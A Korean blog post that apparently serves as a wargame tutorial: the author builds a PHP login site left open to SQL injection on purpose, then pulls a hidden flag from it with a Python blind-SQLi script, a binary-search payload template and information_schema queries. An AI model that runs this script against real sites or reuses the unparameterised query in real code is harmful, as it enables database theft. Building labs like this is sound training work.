본문 바로가기

워게임

해킹 전용 사이트 만들기 - 1 (SQLi)

안녕하세요!

제가 워게임을 만들어 보겠습니다.

 

 

이번에는 간단하게 Blind_SQLi 이 통하는 사이트를 만들어 보겠습니다.

 

솔직히 SQLi이 통하는 사이트 만드는 것은 매우 쉽습니다! 그저 preparestatement 함수만 안 쓰면 되기 때문이에요

 

일단 로그인 화면이랑 로그인 하면 보이는 메인 페이지를 전에 만든 php문을 가져오겠습니다.

 

 

 

-wargame_loginsqli.php

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>HAPPY HACKING!-wargame!!</title>
        <link rel="stylesheet" href = "/css/style.css">
    </head>
    <body>
        <h1>Login</h1>
        <form action="wargame_login_process.php" method="POST">
            <div class = "form-group"> 
                <input type="text" name="id" class = "form-group" placeholder="chell">
            </div>

            <div class = "form-group">
                <p><input type="password" name="pw" class = "form-group" placeholder="monster"></p>
            </div>
            <br>
            <div class = "login-button">
                <p><input type="submit" value="로그인하기" class = "btn-primary"></p>
            </div>

        </form>
        <!--
        <div class="btn-btn">
            <form action="join.php">
                <div class = "join-button">
                    <p><input type="submit" value="회원가입" class = "btn-primary2"><p>
                </div>
            </form>
            <p>|</p>
            <form action="inquiry_board.php"> 
                <div class = "inquiry-button">
                    <p><input type="submit" value="문의게시판" class = "btn-primary3"></p>
                </div>
            </form>
        </div>
        -->
        
        <footer class="footer">
            <p>
            <?php session_start();
                    if (isset($_SESSION['login_error'])) {
                        echo $_SESSION['login_error'];
                        unset($_SESSION['login_error']);
                    }
            ?>
            </p>
        </footer>

    </body>
</html>

 

 

 

-wargame_logout.php

<?php
    session_start(); //세선 시작

    // 로그아웃 버튼 클릭 세션 제거
    if(isset($_POST['logout'])) {
        session_unset();
        session_destroy();
        header("Location: wargame_loginsqli.php"); //로그인 페이지 이동
    }
    exit(); //코드 종료
?>

 

-wargame_login_only.php

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Welcome! HACKER!</title>
    </head>
    <body>
        <h1>Welcome! User!</h1>
        <p>
        <?php 
            session_start(); //세션 시작

            if(!isset($_SESSION['login_id'])) {
                //로그인하지 않은 사용자
                header("Location: login.php"); //login 화면으로 바꾼다
                exit(); //이 페이지를 바로 닫는다
            }

            echo "당신은 ", $_SESSION['login_id'], " 입니다! 환영합니다! HAPPYHACKING!!";
        ?>
        </p>
        <p></p>
        <form action="wargame_logout.php" method="POST"> 
            <p><input type="submit" name="logout" value="로그아웃"></p>
        </form>

        <p></p>
    </body>
</html>

 

 

 

 

 

프로세스는 이렇게 만들겠습니다.

 

-wargame_login_process.php

<?php
    include 'DB_INFO.php'; //데이터 베이스 정보

    //데이터베이스 연결
    $conn = mysqli_connect($host,$username,$password,'wargame');

    session_start(); //세션 시작
    //오류시 종료
    if(mysqli_connect_errno()) {
        die("데이터 베이스 오류: ". mysqli_connect_error());
    }
    //POST로 전달된 정보 받기
    $login_id = strip_tags($_POST['id']);
    $login_pw = strip_tags($_POST['pw']);

    //ID 찾는 쿼리문
    $sql = "SELECT * FROM LOGIN_INFO WHERE id = $login_id";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증
        $row = mysqli_fetch_array($result);

        if($login_pw = $row['pw']) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION['login_id'] = $row['id'];
            header("Location: wargame_login_only.php");
        } else {
            //로그인 실패
            $_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
            header("Location: wargame_loginsqli.php");
        }
    }
    else {
        //로그인 실패
        $_SESSION['login_error'] = '아이디 또는 비밀번호가 일치 하지 않습니다.';
        header("Location: wargame_loginsqli.php");
    }

?>

 

그리고 저희가 찾으려는 flag을 이 데이터 베이스에 숨겨 두겠습니다!

 

아 그리고 저는 새로 VMware에서 새로운 리눅스를 깔고 새로운 환경에서 이 작업을 하고 있습니다.

APM도 처음부터 세팅했고요.. DB_INFO.php도.. 어쨌든!

 

 

실행해보겠습니다

 

 

이제 실습 시작할게요

 

 

버프 스위트를 통해 로그인을 해보겠습니다.

 

 

잘 되네요

 

 

이번에 로그아웃을 하고 일부러 틀리게 들어가보겠습니다

 

아하!

 

참과 거짓이 분명한 단어가 있네요!

 

정확하게 버프스위트를 통해 보겠습니다.

 

php문의 장점이긴 하죠

 

 

php문으로 세션을 받고 출력하는 거라 아무것도 안 나오는 게 보이시죠?

다시 로그인을 성공적으로 했을 때는 뭐가 나올까요?

 

 

너무 php문만 썻나봐요 아무것도 없네요

 

PHPSESSID가 있는 게 보입니다!

 

그럼 이제 AND 구문을 써서 sqli가 통하는지 확인하겠습니다.

 

 

 

통하네요!

 

이제 제가 전에 만든 Blind 자동화 공격하는 파이썬 코드를 가져와서 약간 데이터 수정 하고 실행하겠습니다!

 

만약 본문을 모르신다면

https://mynameisarke.tistory.com/41

 

[노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식)

안녕하세요! 오늘은 Blind SQL Injection을 했을 때 저희가 일일이 문자 하나하나 넣어서 확인했었잖아요? 이제 그걸 자동화하기 위해 파이썬으로 코드를 짜서 만들어보겠습니다. 일단은 import requests

mynameisarke.tistory.com

참고하세요!

 

코드에서 수정한 것은 data와 response에 text가 아닌 header을 비교하게 했습니다.

그러니깐 response.text가 아닌 response.headers으로 바꿨습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "http://localhost/wargame/wargame_login_process.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=YOUR_COOKIE"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Set-Cookie" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2) 

        data = {
            "id": "chell" + blind_query.format(query, s, 0),
            "pw": "monster",
        } #먼저 아스키 코드가 0인지 식별

        response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

        if index_value in response.headers : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "id": "chell"+blind_query.format(query, s, mid),
                "pw": "monster",
            } #POST로 보낼 값 각각 작성


            response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.headers :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화

    return value


blind_query = "' AND ascii(substring(({}),{},1))>{} AND '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

 

실행해서 먼저 database 먼저 알아내겠습니다.

 

 

다음으로 wargame의 첫 번째 테이블 명을 물어보겠습니다.

 

select table_name from information_schema.tables where table_schema='wargame' limit 0,1

 

 

login_info

 

2번째

select table_name from information_schema.tables where table_schema='wargame' limit 1,1

 

flag

 

다음으로 칼럼 명도 물어보겠습니다.

 

select column_name from information_schema.columns where table_name='flag' limit 0,1

 

좋아요

 

마무리로 데이터도 물어보겠습니다

 

SELECT flag FROM flag limit 0,1

 

끝!

 

이렇게 해서 제가 직접 blindSQLi 통하는 사이트를 코드 해보았습니다. 긴 글을 읽어 주셔서 감사합니다!

 

 

'워게임' 카테고리의 다른 글

los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -14,15,16 풀이  (0) 2023.05.14
los rubiya -11,12,13 풀이  (0) 2023.05.12
los rubiya -6,7,8,9,10 풀이  (0) 2023.05.11
los rubiya -1,2,3,4,5 풀이  (2) 2023.05.10